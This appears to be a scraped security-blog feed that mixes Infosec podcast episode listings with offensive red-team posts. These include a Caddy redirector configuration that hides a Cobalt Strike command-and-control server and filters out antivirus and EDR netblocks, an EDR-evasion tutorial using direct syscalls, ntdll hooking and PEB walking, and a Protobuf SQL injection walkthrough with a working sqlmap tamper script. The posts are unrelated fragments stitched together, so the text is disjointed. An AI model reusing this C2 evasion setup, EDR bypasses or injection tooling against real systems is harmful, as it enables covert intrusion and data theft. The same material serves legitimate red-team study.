UPDATE: I wrote a hot patch for both 32-bit and 64-bit faultrep DLLs. It will allow you to get a full process dump passing MiniDumpWithFullMemory as the MINIDUMP_TYPE. Tested on Windows XP 32-bit and 64-bit. On other systems by copying the original DLLs in the same folder will work fine. You can find the repo with DLL files from here https://github.com/OsandaMalith/WindowsInternals/tree/master/CreateMinidump/Hot%20Patch
Some uses
I was in an engagement today and tried with success the CreateMinidump_HotPatch of @OsandaMalith in both win2003 x32 and Win10 x64. Especially in Windows 10 Symantec did not complain at all!!! pic.twitter.com/kKS1KqEqpa
— Spiros Fraganastasis (@m3g9tr0n) September 10, 2019
How to begin your own cybersecurity consulting business | Guest Kyle McNulty
On today’s podcast, Kyle McNulty of Secure Ventures talks about interviewing the people behind the most up-and-coming cybersecurity startups. We discuss the best advice he’s received on the show, how to get your own podcast off the ground and his own security startup, ConsultPlace.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
0:00 - Intro
2:40 - Getting into cybersecurity
6:00 - McNulty’s education and career
9:50 - Getting into consulting and startups
14:08 - Secure Ventures podcast
17:45 - Best insight from a podcast guest
20:13 - Startup stories
22:10 - Startups during COVID
23:42 - Advice for startups
25:22 - How to begin a podcast
33:25 - Tips for cybersecurity newcomers
35:04 - Upcoming podcasts
36:15 - ConsultPlace work
38:00 - Find more about McNulty
38:42 - Outro
🇬🇧 Carrying the Tortellini’s golf sticks
Giving Caddy redirectors some love
The consultant’s life is a difficult one. New business, new setup and sometimes you gotta do everything in a hurry. We are not a top notch security company with a fully automated infra. We are poor, rookies and always learning from the best.
We started by reading several blogposts that can be found on the net, written by people much more experienced than us, realizing that redirectors are almost always based on apache and nginx, which are great solutions! but we wanted to explore other territories…
just to name a few:
- https://www.praetorian.com/blog/praetorians-approach-to-red-team-infrastructure/
- https://www.mdsec.co.uk/2020/02/testing-your-redteam-infrastructure/
- https://www.netspi.com/blog/technical/adversary-simulation/modern-red-team-infrastructure/
- https://bluescreenofjeff.com/2017-12-05-designing-effective-covert-red-team-attack-infrastructure/
and many others…
despite the posts described above that are seriously top notch level, we decided to proceed taking inspiration from our fellow countryman Marcello aka byt3bl33d3r which came to the rescue!
As you can see from his post, Marcello makes available to us mere mortals a quick configuration, which prompted us to want to deepen the argument
Why Caddy Server ?
Caddy was born as an opensource webserver specifically created to be easy to use and safe. it is written in go and runs on almost every platform.
The added value of Caddy is the automatic system that supports the ability to generate and renew certificates automatically through let’s encrypt with basically no effort at all.
Another important factor is the configurative side that is very easy to understand and more minimalist, just what we need!
Let’s Configure!
do you remember byt3bl33d3r’s post listed just above ? (Of course, you wrote it 4 lines higher…) let’s take a cue from it!
First of all let’s install Caddy Server with the following commands:
(We are installing it on a AWS EC2 instance)
sudo yum update
yum install yum-plugin-copr
yum copr enable @caddy/caddy
yum install caddy
Once installed, let’s go under /opt
and create a folder named /caddy
or whatever you like
And inside create the Caddyfile
At this point let’s populate the/caddy
with our own Caddyfile
and relative folder structure and configurations
To make things clearer, here we have a tree of the structure we are going to implement:
- The actual
Caddyfile
- The
filters
folder, which will contain our countermeasures and defensive mechanisms ( wtf are you talking about there is a bunch of crap inside here) - the
sites
folder, which will contain the domains for our red team operation and relative logfiles - the
upstreams
folder, which will contain the entire upstreams part - the
www
folder, which will contain the sites if we want to farm a categorization for our domains, like hosting a custom index.html or simply clone an exsiting one because we are terrible individuals.
.
├── Caddyfile
├── filters
│ ├── allow_ips.caddy
│ ├── bad_ips.caddy
│ ├── bad_ua.caddy
│ └── headers_standard.caddy
├── sites
│ ├── cdn.aptortellini.cloud.caddy
│ └── logs
│ └── cdn.aptortellini.cloud.log
├── upstreams
│ ├── cobalt_proxy_upstreams.caddy
│ └── reverse_proxy
│ └── cobalt.caddy
└── www
└── cdn.aptortellini.cloud
└── index.html
CADDYFILE
This is the default configuration file for Caddy
# This are the default ports which instruct caddy to respond where all other configuration are not matched
:80, :443 {
# Default security headers and custom header to mislead fingerprinting
header {
import filters/headers_standard.caddy
}
# Just respond "OK" in the body and put the http status code 200 (change this as you desire)
respond "OK" 200
}
#Import all upstreams configuration files (only with .caddy extension)
import upstreams/*.caddy
#Import all sites configuration files (only with .caddy extension)
import sites/*.caddy
We decided to keep the Caddyfile as clean as possible, spending some more time structuring and modulating the .caddy
files
FILTERS folder
This folder contain all basic configuration for the web server, for example:
- list of IP to block
- list of User Agents (UA) to block
- default implementation of security headers
bad_ips.caddy
remote_ip mal.ici.ous.ips
Still incomplete but usable list we crafted can be found here: https://github.com/her0ness/av-edr-urls/blob/main/AV-EDR-Netblocks
bad_ua.caddy
This will block all User-Agent we don’t want to visit our domain.
header User-Agent curl*
header User-Agent *bot*
A very well done bad_ua list can be found, for example, here: https://github.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker/blob/master/_generator_lists/bad-user-agents.list
headers_standard.caddy
# Add a custom fingerprint signature
Server "Apache/2.4.50 (Unix) OpenSSL/1.1.1d"
X-Robots-Tag "noindex, nofollow, nosnippet, noarchive"
X-Content-Type-Options "nosniff"
# disable FLoC tracking
Permissions-Policy interest-cohort=()
# enable HSTS
Strict-Transport-Security max-age=31536000;
# disable clients from sniffing the media type
X-Content-Type-Options nosniff
# clickjacking protection
X-Frame-Options DENY
# keep referrer data off of HTTP connections
Referrer-Policy no-referrer-when-downgrade
# Do not allow to cache the response
Cache-Control no-cache
We decided to hardly customize the response Server
header to mislead any detection based on response headers.
SITES folder
You may see this folder similar to sites-available
and sites-enabled
in nginx; where you store the whole host configuration.
Example front-end redirector (cdn.aptortellini.cloud.caddy)
From our experience ( false, we are rookies) this file should contain a single host because we have decided to uniquely identify each individual host, but feel free to add as many as you want, You messy!
https://cdn.aptortellini.cloud {
# Import the proxy upstream for the cobalt beacon
import cobalt_proxy_upstream
# Default security headers and custom header to mislead fingerprinting
header {
import ../filters/headers_standard.caddy
}
# Put caddy logs to a specified location
log {
output file sites/logs/cdn.aptortellini.cloud.log
format console
}
# Define the root folder for the content of the website if you want to serve one
root * www/cdn.aptortellini.cloud
file_server
}
UPSTREAMS folder
the file contains the entire upstream part, the inner part of the reverse proxy has been voluntarily detached because it often requires individual ad-hoc configurations
cobalt_proxy_upstreams
Handle Directive
: Evaluates a group of directives mutually exclusively from other handle
blocks at the same level of nesting.
The handle
directive is kind of similar to the location
directive from nginx config: the first matching handle
block will be evaluated. Handle blocks can be nested if needed.
To make things more comprehensive, here we have the sample of http-get
block adopted in the Cobalt Strike malleable profile:
# Just a fancy name
(cobalt_proxy_upstream) {
# This directive instruct caddy to handle only request which begins with /ms/ (http-get block config pre-defined in the malleable profile for testing purposes)
handle /ms/* {
# This is our list of User Agents we want to block
@ua_denylist {
import ../filters/bad_ua.caddy
}
# This is our list of IPs we want to block
@ip_denylist {
import ../filters/bad_ips.caddy
}
header {
import ../filters/headers_standard.caddy
}
# Respond 403 to blocked User-Agents
route @ip_denylist {
redir https://cultofthepartyparrot.com/ #redir to another site like, for example, an external supplier site which provides services for the company you are targeting ( sneaky move I know..)
}
# Respond 403 to blocked IPs
route @ip_denylist {
redir https://cultofthepartyparrot.com/ #redir to another site like, for example, an external supplier website which provides services for the company you are targeting ( sneaky move I know..)
}
# Reverse proxy to our cobalt strike server on port 443 https
import reverse_proxy/cobalt.caddy
}
}
REVERSE PROXY folder
The reverse proxy directly instruct the https stream connection to forward the request to the teamserver if the rules above are respected.
Cobalt Strike redirector to HTTPS endpoint
reverse_proxy https://<cobalt_strike_endpoint> {
# This directive put the original X-Forwarded-for header value in the upstream X-Forwarded-For header, you need to use this configuration for example if you are behind cloudfront in order to obtain the correct external ip of the machine you just compromised
header_up X-Forwarded-For {http.request.header.X-Forwarded-For}
# Standard reverse proxy upstream headers
header_up Host {upstream_hostport}
header_up X-Forwarded-Host {host}
header_up X-Forwarded-Port {port}
# Caddy will not check for SSL certificate to be valid if we are defining the <cobalt_strike_endpoint> with an ip address instead of a domain
transport http {
tls
tls_insecure_skip_verify
}
}
WWW
This folder is reserved if you want to put a website in here and manually categorize it
Or..
take a cue from those who do things better than we do:
https://github.com/mdsecactivebreach/Chameleon
Starting Caddy
Once started, caddy will automatically obtain the SSL certificate. Remember to start Caddy in the same folder where you placed your Caddyfile
!
sudo caddy start
To reload the configuration, you can just run the following command in the root configuration folder of Caddy
sudo caddy reload
Getting a CS Beacon
Everything worked as expected and the beacon is obtained
A final thought
This blogpost is just the beginning of a series focused on making infrastructures for offensive security purposes, in the upcoming months we will expand the section with additional components.
With this we just wanted to try something we never tried before, and we know there are multiple ways to expand the configuration or make it even better, so, if you are not satisfied with what we just wrote, feel free to offend us: we won’t take it personally, promise.
How to disrupt ransomware and cybercrime groups | Guest Adam Flatley
On today’s podcast, Adam Flatley of Redacted talks about 14 years spent with the NSA and working in global intelligence. He also delineates the process of disrupting ransomware and cybercrime groups by dismantling organizations, putting on pressure and making the crime of ransomware more trouble than it’s worth!
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
0:00 - Intro
3:13 - Getting into cybersecurity
4:27 - Why work for the DoD?
6:37 - Average work day in threat intelligence
9:28 - Main security threats today
11:53 - Issues cybersecurity is ignoring
16:12 - Disrupting ransomware offensively
23:00 - How to handle ransomware
25:07 - How do I fight cybercriminals
27:15 - How to convey self learning on a resume
28:24 - Security recommendations for your company
31:40 - Logistics of changing security
34:40 - Cybercrime in five years
36:57 - Learn about Redacted
39:18 - Learn more about Adam
40:00 - Outro
About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
TPM sniffing
How to become a cyber threat researcher | Guest John Bambenek
On today’s podcast, John Bambenek of Netenrich and Bambenek Consulting talks about threat research, intelligence analytics, why the same security problems are so evergreen and the importance of pitching in a little extra bit of your time and talents to make the world a bit better than you found it.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
0:00 - Intro
2:45 - Getting into cybersecurity
9:40 - Threat researcher versus security researcher and threat analyst
12:05 - How to get into a research or analyst role
16:32 - Unusual types of malware
19:03 - An ideal work day
23:06 - Current main threat actors
28:50 - What cybersecurity isn’t addressing
31:38 - Where can I volunteer?
36:02 - Skills needed for threat researchers
40:53 - Adjacent careers to threat research
45:11 - Threat research in five years
48:55 - Bambenek Consulting
49:35 - Learn more about Bambenek
50:26 - Outro
About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
How to become a great cybersecurity leader and manager | Guest Cicero Chimbanda
On today’s podcast, Cicero Chimbanda, Infosec Skills author and lecturer, discusses his cybersecurity leadership and management courses. We discuss the many paths of a cybersecurity leadership role, the soft skills that separate a good information security manager from a great one and why a baseline of cybersecurity knowledge can enhance any job, even if you don’t plan to pivot into the industry.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
0:00 - Intro
3:37 - Getting into cybersecurity
6:43 - First learning cybersecurity
7:54 - Skills needed to move up
10:41 - CISM certification
13:00 - Two tracks of technology
15:13 - Are certifications important?
18:50 - Work as a college lecturer
22:43 - Important cybersecurity soft skills
27:40 - Cybersecurity leadership and management
32:33 - Where to go after security leadership
35:26 - Soft skills for cybersecurity managers
37:23 - Benefits to skills-based education
39:40 - Tips for lifelong learning
43:46 - Cybersecurity education’s future
45:21 - Outro
About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
This is how I bypassed almost every EDR!
First of all, let me introduce myself, my name is Omri Baso, I’m 24 years old from Israel and I’m a red teamer and a security researcher, today I will walk you guys through the process of my learning experience about EDRs, and Low-level programming which I have been doing in the last 3 months.
1. Windows API Hooking
One of the major things EDRs are using in order to detect and flag malicious processes on windows, are ntdll.dll API hooking, what does it mean? it means that the injected DLL of the EDR will inject opcodes that will make the program flow of execution be redirected into his own functions, for example when reading a file on windows you will probably use NtReadFile, when your CPU will read the memory of NTDLL.dll and get the NtReadFile function, your CPU will have a little surprise which will tell it to “jump” to another function right as it enters the ntdll original function, then the EDR will analyze what your process is trying to read by inspecting the parameters sent to the NtReadFile function, if valid, the execution flow will go back to the original NtReadFile function.
1.1 Windows API Hooking bypass
First of all, I am sure that there are people smarter than me who invented other techniques, but now I will teach you the one that worked for me.
Direct System Calls:
Direct system calls are basically a way to directly call the windows user-mode APIs using assembly or by accessing a manually loaded ntdll.dll (Manual DLL mapping), In this article, I will NOT be teaching how to manually map a DLL.
The method we are going to use is assembly compiled inside our binary which will act as the windows API.
The windows syscalls are pretty simple, here is a small example of NtCreateFile:
First line: the first line moves into the rax register the syscall number
Second line: moves the rcx register into the r10, since the syscall instruction destroys the rcx register, we use the r10 to save the variables being sent into the syscall function.
Third line: pretty self explanatory, calls the syscall number which is saved at the rax register.
Foruth line: ret, return the execution flow back to the place the syscalls function was called from.
now after we know how to manually invoke system calls, how do we define them in our program? simple, we declare them in a header file.
The example above shows the parameters being passed into the function NtCreateFile when it is called, as you can tell I placed the EXTERN_Csymbol before the function definition in order to tell the linker that the function is found elsewhere.
before compiling our executable we got to make the following steps, right-click on our project and perform the following:
Now enable masm:
Now we must edit our asm Item type to Microsoft Macro Assembler
With all of that out of the way, we include our header file in our main.cpp file and now we can use NtCreateFile directly! amazing, using the action we just did EDRs will not be able to see the actions we do when using the NtCreateFile function we created by using their user-mode hooks!
What if I don’t know how to invoke the NtAPI?
Well… to be honest, I did encounter this, my solution was simple, I did the same thing we just did for NtCreateFile for NtCreateUserProcess — BUT, I hooked the original NtCreateUserProcess using my own hook, and when it was called I redirect the execution flow back to my assembly function with all of the parameters that were generated by CreateProcesW which is pretty well documented and easy to use, therefore I avoided EDRs inspecting what I do when I use the NtCreateUserProcess syscall.
How can I hook APIs myself?
This is pretty simple as well, for that you need to use the following syscalls.
NtReadVirtualMemory, NtWriteVirtualMemory, and NtProtectVirtualMemory, with these syscalls combined we can install hooks into our process silently without the EDR noticing our actions. since I already explained how to Invoke syscalls I will leave you to research a little bit with google on how to identify the right syscall you want to use ;-) — for now, I will just show an example of an x64 bit hook on ntdll.dll!NtReadFile
In the above example we can see the opcodes for mov rax, <Hooking function>; jmp rax.
these opcodes are being written to the start of NtReadFile which means when our program will try to use NtReadFile it will be forced to jump onto our arbitrary function.
It is important to note, since ntdll.dll by default has only read and execute permissions we must also add a write permission to that sections of memory in order to write our hook there.
1.2 Windows API Hooking bypass — making our code portable
In order to maintain our code portable, we must match our code to any Windows OS build… well even though it sounds hard, It is really not that difficult.
In this section, I will show you a POC code to get the Windows OS build number, use that with caution, and improve the code later on after finishing the article and combine everything you learned here(If you finish the article you will have the tools in mind to do so).
The windows build number is stored at the — SOFTWARE\Microsoft\Windows NT\CurrentVersion registry key, using this knowledge we will extract its value from the registry and store it in a static global variable.
after that we need to also create a global static variable that will store the last syscall that was called, this variable will have to be changed each time we call a syscall, this gives us the following code.
In order to dynamically get the syscall number, we need to somehow get it to store itself at the RAX register, for that we will create the following function.
As you can see in the example above, our function has a map dictionary that has a key, value based on the build number, and returns the right syscall number based on the currently running Windows OS build.
But how am I going to store the return value at the RAX dynamically?
Well, usually the return value of every function is stored at the RAX register once it runs, which means if you execute the following assembly code: call GetBuildNumberthe return value of the function will be stored at the RAX register, resulting in our wanted scenario.
BUT wait, it is not that easy, assembly can be annoying sometimes. each time we invoke a function call, from inside another function, the second function will run over the rcx, rdx, r8,r9 registers, resulting in the loss of the parameters that were sent to the first function, therefore we need to store the previous values in the stack, and restore them later on after we finish the GetBuildNumber function, this can be achieved with the following code
As you can see again, we tell the linker that the GetBuildNumber is an external function since it lives within our CPP code.
2. Imported native APIs — PEB and TEB explained.
Well if you think using direct syscalls will solve everything for you, you are a little bit mistaken, EDRs can also see which Native Windows APIs you are using such as GetModuleHandleW, GetProcAddress, and more, In order to overcome this issue we first MUST understand how to use theses functions without using these native APIs directly, here comes to our aid the PEB, the PEB is the Process Environment Block, which is contained inside the TEB, which is the Thread Environment Block, the PEB is always being located at the offset of 0x060 after the TEB (at x64 bit systems).
In the Windows OS, the TEB location is always being stored at the GS register, therefore we can easily find the PEB at the offset location of gs:[60h].
Let us go and follow the following screenshots in order to see in our own eyes how these offsets can be calculated.
this can be inspected using WinDbg using the command dt ntdll!_TEB
As we can see in the following screenshot at the offset of 0x060 we find the PEB structure, going further down our investigation we can find the Ldr in the PEB using the following command dt ntdll!_PEB
In the screenshot above we can see the Ldr is also located at 0x018 offset, the PEB LDR data contains another element that stores information about the loaded DLLs, let’s continue our exploration.
After going down further we see that at the Offset of 0x010 we find the module list (DLL) which will be loaded, using all of that knowledge we can now create a C++ code to get the base address of ntdll WITHOUT using GetModuleHandleW, but first, we must know what we are looking for in that list.
In the screenshot above we can see we are interested in two elements in the _LDR_DATA_TABLE_ENTRY structure, these elements are the BaseDllName, and the DllBase, as we can see the DllBase holds a void Pointer to the Dll base address, and the BaseDllName is a UNICODE_STRING structure, which means in order to read what is in the UNICODE_STRING we will need to access its Buffervalue.
This can also be simply be examined by looking at the UNICODE_STRING typedef at MSDN
Using everything we have learned so far we will create and use the following code in order to obtain a handle on the ntdll — dll.
After we gained a handle on our desired DLL, which is the ntdll.dll we must find the offset of its APIs(NtReadFile and etc.), this can also be achieved by mapping the sections from the DllBase address as an IMAGE, this can be done and achieved using the following code
After we got our functions ready, let’s do a little POC to see that we can actually get a handle on a DLL and find exported functions inside it.
Using the simple program we made above, we can see that we obtained a handle on the ntdll.dll. and found functions inside it successfully!
3. Summing things up
So we learned how to manually get a handle on a loaded module and use its functions, we learned how to hook windows syscalls, and we learned how to actually write our own using assembly.
combining all of our knowledge, we now can practically use everything we want, under the radar, evading the EDR big eyes, even install hooks on ntdll.dll using the PEB without using GetModuleHandleW, and without using any native windows API such as WriteProcessMemory, since we can execute the same actions using our own assembly, I will now leave you guys to modify the hooking code that I showed you before, with our PEB trick that we learned In this article ;-)
And that’s my friends, how I bypassed almost every EDR.
- Infosec Resources
- Cybersecurity collaboration, team building and working as CEO | Guest Wendy Thomas
Cybersecurity collaboration, team building and working as CEO | Guest Wendy Thomas
On today’s podcast, Secureworks president and CEO Wendy Thomas talks about the company’s drive to provide innovative, best-in-class security solutions that sit at the heart of customers’ security operations. Thomas shares over 25 years of experience in strategic and functional leadership roles, including work as a chief financial officer, chief product officer and VP of strategy. Thomas has worked across multiple technology-driven companies and has a wealth of knowledge.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
0:00 - Intro
3:18 - Wendy’s origin in cybersecurity
5:13 - Climbing the career ladder
8:10 - Average day as CEO
10:38 - Collaboration in cybersecurity
13:07 - Roadblocks in collaboration
15:03 - Strategies to encourage collaboration
17:53 - Is there collaboration now?
19:30 - Solving technology security gaps
21:35 - Limiting incident response noise
23:10 - Addressing the skills shortage
25:07 - Women in cybersecurity
30:45 - Developing your team
32:53 - Advice for those entering cybersecurity
34:18 - Outro
About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
🇬🇧 Tortellini in Brodobuf
TL;DR
Many developers believe that serializing traffic makes a web application more secure, as well as faster. That would be easy, right? The truth is that security implications remain if the backend code does not adopt adequate defensive measures, regardless of how data is exchanged between the client and server. In this article we will show you how the serialization can’t stop an attacker if the web application is vulnerable at the root. During our activity the application was vulnerable to SQL injection, we will show how to exploit it in case the communications are serialized with Protocol Buffer and how to write a SQLMap tamper for it.
Introduction
Hello friends… Hello friends… Here is 0blio and MrSaighnal, we didn’t want to leave all the space to our brother last, so we decided to do some hacking. During an activity on a web application we tripped over a weird target behavior, in fact during HTTP interception the data appeared encoded in base64, but after decoding the response, we noticed the data was in a binary format. Thanks to some information leakage (and also by taking a look at the application/grpc header) we understood the application used a Protocol buffer (Protobuf) implementation. Looking over the internet we found poor information regarding Protobuf and its exploitation methodology so we decided to document our analysis process here. The penetration testing activity was under NDA so in order to demonstrate the functionality of Protobuf we developed an exploitable web application (APTortellini copyrighted 😊).
Protobuf primer
Protobuf is a data serialization format released by Google in 2008. Differently from other formats like JSON and XML, Protobuf is not human friendly, due to the fact that data is serialized in a binary format and sometimes encoded in base64. Protobuf is a format developed to improve communication speed when used in conjunction with gRPC (more on that in a moment). This is a data exchange format originally developed for internal use as an open source project (partially under the Apache 2.0 license). Protobuf can be used by application written in various programming languages, such as C#, C++, Go, Objective-C, Javascript, Java etc… Protobuf is used, among other things, in combination with HTTP and RPC (Remote Procedure Calls) for local and remote client-server communication, in particular for the description of the interfaces needed for this purpose. The protocol suite is also defined by the acronym gRPC.
For more information regarding Protobuf our best advice is to read the official documentation.
Step 1 - Playing with Protobuf: Decoding
Okay, so… our application comes with a simple search form that allows searching for products within the database.
Searching for “tortellini”, we obviously get that the amount is 1337 (badoom tsss):
Inspecting the traffic with Burp we notice how search queries are sent towards the /search endpoint of the application:
And that the response looks like this:
At first glance, it might seem that the messages are simply base64 encoded. Trying to decode them though we noticed that the traffic is in binary format:
Inspecting it with xxd we can get a bit more information.
To make it easier for us to decode base64 and deserialize Protobuf, we wrote this simple script:
#!/usr/bin/python3
import base64
from subprocess import run, PIPE
while 1:
try:
decoded_bytes = base64.b64decode(input("Insert string: "))[5:]
process = run(['protoc', '--decode_raw'], stdout=PIPE, input=decoded_bytes)
print("\n\033[94mResult:\033[0m")
print (str(process.stdout.decode("utf-8").strip()))
except KeyboardInterrupt:
break
The script takes an encoded string as input, strips away the first 5 padding characters (which Protobuf always prepends), decodes it from base64 and finally uses protoc (Protobuf’s own compiler/decompiler) to deserialize the message.
Running the script with our input data and the returned output data we get the following output:
As we can see, the request message contains two fields:
- Field 1: String to be searched within the database.
- Field 2: An integer always equivalent to 0 Instead, the response structure includes a series of messages containing the objects found and their respective amount.
Once we understood the structure of the messages and their content, the challenge is to write a definition file (.proto) that allows us to get the same kind of output.
Step 2 - Suffering with Protobuf: Encoding
After spending some time reading the python documentation and after some trial and error we have rewritten a message definition similar to those that our target application should use.
syntax = "proto2";
package searchAPI;
message Product {
message Prod {
required string name = 1;
optional int32 quantity = 2;
}
repeated Prod product = 1;
}
the .proto file can be compiled with the following command:
protoc -I=. --python_out=. ./search.proto
As a result we got a library to be imported in our code to serialize/deserialize our messages which we can see in the import of the script (import search pb2).
#!/usr/bin/python3
import struct
from base64 import b64encode, b64decode
import search_pb2
from subprocess import run, PIPE
def encode(array):
"""
Function to serialize an array of tuples
"""
products = search_pb2.Product()
for tup in array:
p = products.product.add()
p.name = str(tup[0])
p.quantity = int(tup[1])
serializedString = products.SerializeToString()
serializedString = b64encode(b'\x00' + struct.pack(">I", len(serializedString)) + serializedString).decode("utf-8")
return serializedString
test = encode([('tortellini', 0)])
print (test)
The output of the string “tortellini” is the same of our browser request, demonstrating the encoding process worked properly.
Step 3 - Discovering the injection
To discover the SQL injection vulnerability we opted for manual inspection. We decided to send the single quote ‘ in order to induce a server error. Analyzing the web application endpoint:
http://brodostore/search/PAYLOAD
we could guess that the SQL query is something similar to:
SELECT id, product, amount FROM products WHERE product LIKE ‘%PAYLOAD%’;
It means that injecting a single quote within the request we could induce the server to process the wrong query:
SELECT id, product, amount FROM products WHERE product LIKE ‘%’%’;
and then producing a 500 server error. To manually check this we had to serialize our payload with the Protobuf compiler and before sending it encode it in base64. We used the script from step 2 by modifying the following lines:
test = encode([("'", 0)])
after we run the script we can see the following output:
By sending the generated serialized string as payload to the vulnerable endpoint:
the application returns HTTP 500 error indicating the query has been broken,
Since we want to automate the dump process sqlmap was a good candidate for this task because of its tamper scripting features.
Step 4 - Coding the tamper
Right after we understood the behaviour of Protobuf encoding process, coding a sqlmap tamper was a piece of cake.
#!/usr/bin/env python
from lib.core.data import kb
from lib.core.enums import PRIORITY
import base64
import struct
import search_pb2
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
# Instantiating objects
products = search_pb2.Product()
p = products.product.add()
p.name = payload
p.quantity = 1
# Serializing the string
serializedString = products.SerializeToString()
serializedString = b'\x00' + struct.pack(">I",len(serializedString)) + serializedString
# Encoding the serialized string in base64
b64serialized = base64.b64encode(serializedString).decode("utf-8")
retVal = b64serialized
return retVal
To make it work we moved the tamper in the sqlmap tamper directory /usr/share/sqlmap/tamper/
along with the Protobuf compiled library.
Here the logic behind the tamper workings:
Step 5 - Exploiting Protobuf - Control is an illusion
We intercepted the HTTP request and we added the star to indicate to sqlmap where to inject the code.
GET /search/* HTTP/1.1
Host: brodostore
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
After we saved the request in the test.txt file, we then run sqlmap with the following command:
sqlmap -r test.txt --tamper brodobug --technique=BT --level=5 --risk=3
Why is it slow?
Unfortunately sqlmap is not able to understand the Protobuf encoded responses. Because of that we decided to take the path of the Boolean Blind SQL injection. In other words we had to “bruteforce” the value of every character of every string we wanted to dump using the different response the application returns when the SQLi succeeds. This approach is really slow compared to other SQL injection technique, but for this test case it was enough to show the approach to exploit web applications which implement Protobuf. In the future, between one plate of tortellini and another we could decide to implement mechanism that decode the responses via the *.proto struct and then expand it to other attack paths… but for now we are satisfied with that! Until next time folks!
How to learn web application security | Guest Ted Harrington
On today’s podcast, Infosec Skills author Ted Harrington talks about authoring a recent Infosec Skills learning path, “How To Do Application Security Right,” which is also the subtitle of his recent book, “Hackable: How To Do Application Security Right.” Harrington shares his application security expertise, or AppSec, the benefits of skills-based learning, and what it was like to hack the iPhone.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
0:00 - Intro
3:00 - Hacking the iPhone
8:30 - IOT security
14:00 - “Hackable” book
17:14 - Using the book as a roadmap
18:42 - Most important skills right now
21:45 - Taking Harrington’s class
24:40 - Demystifying application security
26:48 - Career opportunities
28:26 - Roadblocks in application security
30:55 - Education tips for application security
33:40 - Benefits of skills-based education
37:21 - The skills gap and hiring process
41:19 - Tips for lifelong learners
43:43 - Harrington’s next projects
44:33 - Cybersecurity’s education’s future
45:38 - Connect with Harrington
46:50 - Outro
About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
How to become a secure coder | Guest Chrys Thorsen
On today’s podcast Infosec Skills author Chrys Thorsen talks about founding IT Without Borders, a humanitarian organization built to empower underserved communities through capacity building information and communications technology (ICT) skills and information access. She’s also a consultant and educator. And, for our purpose, she is the author of several learning paths on our Infosec Skills platform. She has written course paths for Writing Secure Code in Android and Writing Secure Code in iOS, as well as a forthcoming CertNexus Cyber Secure Coder path.
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast
0:00 - Intro
2:43 - Thorsen’s origin story in cybersecurity
4:53 - Gaining about 40 certifications
6:20 - Cross certification knowledge
7:25 - Great certification combos
8:45 - How useful are certifications?
11:12 - Collecting certifications
13:01 - Changing training landscape
14:20 - How teaching changed
16:36 - In-demand cybersecurity skills
17:48 - What is secure coding?
19:34 - Secure coders versus coders
20:31 - Secure coding in iOS versus Android
22:39 - CertNexus secure coder certification
24:13 - Secure coding before coding
24:42 - Secure coding curriculum
26:27 - Recommended studies post secure coding
26:50 - Benefits to skills-based education
27:43 - Tips for lifelong learning
29:29 - Cybersecurity education’s future
30:54 - IT Without Borders
33:38 - Outro
About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.
Internal security recommendations survey
During the first wave of Covid and most people locked up at home, I wanted to engage with my colleagues in various departments here at SCRT by having them answer a simple survey. The survey related to what actions they would recommend and prioritize in order to secure the information system of a random company, which had just received notification that a cyberattack was imminent.
The survey
Everybody was asked to provide up to 10 recommendations and my initial goal was to see whether there was a consensus between our different teams. For example, I wanted to make sure that our sales team would provide similar answers to our engineering teams.
In any case, I wanted to keep the answers as open as possible, which made it a little harder to parse the results, since some of my colleagues gave some very creative answers. One such example were the recommendations of writing a book on how to obtain a magical budget, followed by a sequel on how to spend that budget with SCRT. Needless to say, this was a bit of an outlier, but for other cases, I attempted to group similar answers into categories. For example, the two following recommendations “Install a good anti-virus solution on workstations” and “Setup EDR agents on all workstations and servers with machine learning capabilities such as Cortex XDR Pro” were eventually summarised as “EDR/AV”.
